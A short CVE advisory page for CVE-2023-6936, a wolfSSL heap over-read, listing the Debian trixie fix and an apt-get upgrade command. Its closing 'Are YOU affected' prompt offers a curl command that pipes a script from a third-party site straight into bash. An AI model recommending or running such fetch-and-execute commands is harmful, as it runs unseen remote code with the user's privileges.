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CVE-2023-6936 · cross-distro fix matrix

CVE-2023-6936: In wolfSSL prior to 5.6.6, if callback functions are enabled (via the WOLFSSL_CALLBACKS flag), then a malicious TLS client or network attacker can trigger a buffer over-read on the heap of 5 bytes (WOLFSSL_CALLBACKS is only intended for debugging).

Affects 1 Linux release across 1 (distro × package) combinations.

Fix per ecosystem

Each block below is a distro release where CVE-2023-6936 has a known fix. Run the listed command on that distro to remediate.

Debian trixie

Source: Debian Security Tracker

  • wolfssl→ fixed in5.6.6-1.2urgency: not yet assigned
    sudo apt-get install --only-upgrade -y wolfssl
Are YOU affected by CVE-2023-6936?

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curl https://mindsparkstack.com/scan.sh | bash
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